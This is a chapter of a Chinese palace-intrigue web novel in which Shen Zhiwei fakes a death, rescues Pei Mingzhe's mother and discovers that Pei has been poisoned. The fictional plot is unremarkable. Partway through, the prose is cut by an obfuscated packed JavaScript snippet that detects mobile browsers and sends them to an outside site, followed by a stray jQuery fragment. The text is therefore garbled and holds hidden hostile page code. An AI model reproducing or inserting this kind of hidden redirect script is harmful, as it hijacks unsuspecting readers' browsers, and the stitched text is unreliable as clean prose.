14. 毒发
作品:《我的夫人总在和我互相算计》 安和县外不远处的小树林里,隐约能看见闪烁的篝火。
沈知微绷着一张脸,眼中带着生人勿进的寒意,双手不自觉的交握着,时不时颤抖一下。
身边的暗卫细心地地上斗篷却被她推拒了。
她深吸一口气,像是下定决心一样,猛地站起身来。
“暗一,你能帮我杀个人吗?”
暗一蒙着脸看不清神色,一双眼睛却充满了惊讶,似乎惊呆了。
“找一个十恶不赦的女犯人,最好和刚刚宅院中的女人身形相似。把她带来,能做到吗?”
话说到这份儿上,暗一岂会不明白?
微微鞠了一躬,他便消失在夜色之中了。
虽然命令很快就执行了,沈知微却觉得心跳的更快了,漆黑的深夜带来了双倍的压抑。
手脚渐渐冰凉,她爬上马车,将易容用的草药翻出来。
原以为是以防万一,没想到真派上用场了。
三天之后,安和县王公公的大宅走水了,放火的是一个疯子。
据说曾经被王公公带入宫中又给赶出来,没了命根子,没了生活来源,立刻就疯癫了。
原本安安静静的小县城顿时纷纷扰扰,乡民们交头接耳,时不时又魁梧的护卫到处巡查,恐慌的气息蔓延开来。
直到夜半时分,王宅里运出一具焦黑的尸体悄无声息的掩埋干净,沈知微才从暗处出现。
她走到埋尸处,倒了一瓶粉末下去。
眼看着药粉慢慢渗透进土里,这才觉得安心一些。
只要尸体慢慢消散,即使被怀疑挖掘出来,也不会有什么明显的指向性。
沈知微这才回头,让暗卫们和她一起离开安和县。
这几天她一直守着,心却早就飘到了京城。
心中鼓鼓囊囊的,只想快点将秦流月交给裴明哲,告诉他,他不是一个人,他的母亲还尚在人间。
那双总是古井一般的深邃眼眸,可会出现片刻欣喜之色?
不由得,她看向马车内的老妇人。
其实,母亲曾经带着年幼的她见过这位闺中密友,只是她年岁太小,记不清楚了。可脑海中隐隐还有一位身穿观星女官宫服的端庄典雅的女子身影,绝不可能是现如今这形容枯槁的模样。
这场皇权政变到底谁才是幕后黑手?
当今皇上被朝臣掣肘,先帝先太子死因蹊跷,贤王被逐出京城驻守封地,沈家灭门,裴家家破人亡……
突然鼻头一酸,下意识的紧握成拳,心脏突突的疼起来。
马车一路疾行,沈知微并未让人进城,而是往明月庄赶。
秦流月的身份敏感,越少人知道越好。
已经月至当空,沈知微摸黑前进,唯恐被人注意到,却不想到达明月庄的时候,那里居然灯火通明。
她和暗卫对视一眼,纷纷警惕起来,将车藏在竹林中,让人先去查探情况。
不一会儿,暗一便匆匆赶回来,对着她一抱拳,声音无比慌乱。
“姑娘,大人受伤了。”
“什么?!”
沈知微大惊失色,她一咬牙,猜测裴明哲肯定不听劝告,深入探查清虚观的情况了。
既然秦流月半死不活的在安和县,那么清虚观就必定设好了陷阱。
她已经让沈语第一时间赶回来了,还是没赶上吗?
瞬间,心中的慌乱便涌了出来,脚步也更快了,最后更是跑了起来。
自从被选为先太子妃,一言一行一举一动都在宫规的约束中,克己复礼被深深刻入骨髓,即使从棺椁中爬出来,也无法改变。
可现在,沈知微拎着裙摆,毫无形象的一路狂奔。
在下人们的指引下,顺利的进入房间,见到了那双深邃无波的眼中闪烁的流光,这才放心下来。
他裸露着上身,缠着绷带的伤口渗出妖艳的血红,刺眼得很。
“你食言了。”
沈知微的声音很轻,那语气里却充满了控诉和不赞同。
她咬了咬唇,坐在一旁,顺手接过府医的工作,为他查看了一下伤口,确保的确只是皮外伤,才彻底松了一口气。
“我娘在哪儿?”
听到裴明哲这些话,沈知微心中的怒火再也控制不住,蹭的一下冒了起来,脑子里都是爆裂的火花。
“你明明答应我了!”
裴明哲一愣,女孩那双犹如星子的眸亮得吓人,仿佛靠近一点就会被灼伤。
他有些恍惚,想到了那个只要一摸到就觉得暖到心里的汤婆子,嘴唇微动,轻声道歉。
“对不起。”
简单的三个字,熄灭了沈知微所有的怒火。
她真的很想叹气,可看见裴明哲俊脸苍白的俊脸上难得的歉意,好似雕刻出来的五官也沾染了点点柔和,愣是加了点稚气。
莫名顺眼了不少,符合年龄了。
“秦女官在马车上,她的身体情况不太好,你要控制一下情绪,别惊着她。”
话音未落,裴明哲已经风一样跑了出去,只留下一个背影。
沈知微嘴角一抽,认命地起身,跟着一起出去。
来到了马车前,却发现高大的男子正背对着他,痴痴地站着,愣是不敢向前一步。
这时,她心里觉得有些暖。
年幼的时候母亲便失踪了,多年后再见,还是孩子的模样吗?
轻轻推了裴明哲一把,在他转头的惊异眼神中,沈知微在微凉月色下笑得温柔,无声的鼓励着他。
刚刚还有些慌乱迷茫的男人似乎慢慢定下心来,上前一步,掀开车帘的一角,一个孱弱的女子身影映入眼帘。
沈知微感觉到身边人的呼吸粗重了些,后背也有些僵硬,她轻声解释。
“她中了毒,伤口总是无法愈合,长时间流脓溃烂,需要大量的老山参和犀角粉续命。清醒的时间不多,总是浑浑噩噩,情绪如果过分激动,随时会昏厥过去。”
“要不是和你面容相似,身旁还有一件观星女官的官服,沈语又脱口而出喊她‘夫人’,我根本想不到她是秦女官。”
说着说着,忍不住看向裴明哲的表情。
只一眼,她就酸涩不已。
月光下的裴明哲,好像要碎掉了。
眼看着身上还有伤却执着要亲自将秦流月抱下车,作为大夫,沈知微也一句劝说的话都说不出口。
她沉默的跟在裴明哲身后,看着他珍而重之地将人放在床上,想触碰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164668|196648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又不敢,仿佛一个犯了错而不知所措的孩子。
“我会想尽一切方法救她。”
等回过神时,大言不惭的话语已经脱口而出了。
沈知微真想一巴掌扇死自己,明明没有把握的,为什么做出承诺。
她抬起眼眸,想要收回前言,可对上一双突然泛起了柔波和希冀的眼睛,她彻底开不了口了。
“先……先让秦女官休息吧。”
裴明哲沉默地点点头,无比留恋的又看了床上的人一眼,这才跟着沈知微离开房间。
交代忠伯几句,两个人才回到了书房之中。
一坐下来,沈知微便开始审人了。
“说吧,为什么那么沉不住气?”
裴明哲定了定神,眼神有些闪烁,偷瞄了沈知微一眼,对上眼神之后就做贼一样快速移开。
那模样可真是让人开了眼了!
沈知微一下子就乐了,更是咄咄逼人的追问答案。
后来也不知是不是受人恩惠的关系,总是高深莫测的男人居然被撬开了嘴。
“我看到母亲的命星光芒晦暗又被乌云遮盖,所以……”
“……”
居然就为了一颗星星?
不过,她也没有多说什么,毕竟现实情况和他推算的星象大差不差。
“如果当初我坚持己见,拦着你,不准你去安和县,咱们所有心力若都放在专心查探清虚观的消息上。那我母亲也许真的死在安和县了,沈姑娘,谢谢你。”
沈知微摇了摇头:“我欠你一条命,现在当还你了,不必言谢。”
裴明哲勾了勾唇,朦胧的笑意似初雪融化,美得人移不开眼睛。
只见他张了张嘴,一抹暗红血色从嘴角流了出来。
“裴明哲!!”
她猛地站起身来,扶住有些摇摇欲坠的男人,感受到他后背上的肌肉颤抖,立刻就摸到了他的脉搏。
一探就瞪大了眼,有些不敢置信。
怎么会?
“你中毒了……”
刚刚伤口处的鲜血明明并无异常啊,沈知微拉开裴明哲的外衫,惊讶的发现刚刚的艳红色已经变成了暗红色,甚至隐隐泛着紫色。
怎么会这样?
沈知微感觉到手中的重量越来越沉,怀中的人已经失去意识,直直地倒在了她的怀抱之中。
毛茸茸的脑袋靠在她的颈窝,炙热的呼吸喷洒在她的锁骨,明明靠的那么近,却让她觉得随时都会离去。
她对着门外喊道:“沈语,暗一,快进来!”
两道身影立刻鬼魅般闪了进来,他们见到裴明哲这副模样便赶紧把人搬到床上。
府医踉踉跄跄的被拉进来,皱着眉头把脉也没有任何头绪,连连摇头。
“怪哉怪哉,刚刚明明好好的,这毒怎么来势汹汹啊?”
沈知微脑子一团乱,突然,她脑中浮现出先太子身体突然急转直下,口吐带着腥味的毒血的模样。
可先太子和裴明哲有什么相似之处,怎么会都突然如此?
难道是秦女官身上的犀角粉?
犀角粉……是御用龙涎香的原料之一。
若龙涎香能引发毒性,那么一切都说得通了!

